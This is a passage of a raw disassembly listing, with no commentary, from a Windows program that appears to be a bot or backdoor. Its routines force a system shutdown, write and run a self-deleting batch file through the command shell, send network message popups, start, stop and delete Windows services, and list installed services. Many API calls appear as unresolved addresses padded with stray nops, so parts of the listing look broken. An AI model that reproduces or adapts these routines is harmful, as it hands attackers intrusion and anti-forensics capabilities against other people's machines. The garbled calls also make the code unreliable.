		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 2800000h
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 27F0822h
		nop
		push	esi
		call	ebx

loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CAEE4
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; ___:0041686Bp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4CB074, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx

loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26F08DDh
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 26E0000h
		push	edi
		nop
		call	near ptr 26508EFh
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D158
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 2680000h
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 2670E4Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 2670D30h

loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	near ptr 2810000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2650BA1h

loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26C05ECh
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CAF24
		push	edi
		push	eax
		call	dword_4CAF34
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_4389BC

loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------

loc_418569:				; CODE XREF: sub_4184E1+57j
		call	near ptr 2670914h
		nop
		push	eax
		push	offset unk_438994
		jmp	short loc_418542
; ---------------------------------------------------------------------------

loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_438964
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch

loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26C05ECh
		nop
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA

loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 2690C6Fh
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	near ptr 26A0000h
		nop
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 2790000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; ___:0040E6E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	near ptr 26808E8h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4389E0[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_4389DC[esi]
		push	offset unk_438AF0

loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4DB020
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------

loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_438AC4
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------

loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DB020
		push	off_4389D8[eax*4]
		push	offset unk_438AA0
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CAF98
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		nop
		call	near ptr 2670914h
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------

loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CAE80
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		nop
		call	near ptr 2670914h
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------

loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CAEEC
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------

loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CAE88
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------

loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4CAEF0

loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		call	near ptr 2670914h
		nop
		mov	ebx, eax

loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4CAE9C

loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4CAE9C
		pop	esi

loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump

loc_4188B6:				; DATA XREF: ___:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4DA960
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------

loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DA960
		call	sub_41B886
		add	esp, 0Ch

loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4DA960
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CAF98
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CAF64
		test	eax, eax
		jnz	short loc_4189CD
		nop
		call	near ptr 2670914h
		cmp	eax, 0EAh
		jnz	loc_418A81

loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]

loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"

loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE

loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993

loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4CAE9C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------

loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax

loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DAC1C
		push	off_4389D8[eax*4]
		push	offset unk_439084
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------

loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch

loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8

loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DAC1C
		push	off_4389DC[eax*4]
		push	offset dword_439068
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------

loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DAC1C
		lea	eax, [eax+eax*2]
		push	off_4389D8[eax*4]
		push	offset unk_439044
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DAE1C, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4DAE1C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DABBC, eax

loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DABBC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DABBC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CAE98
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
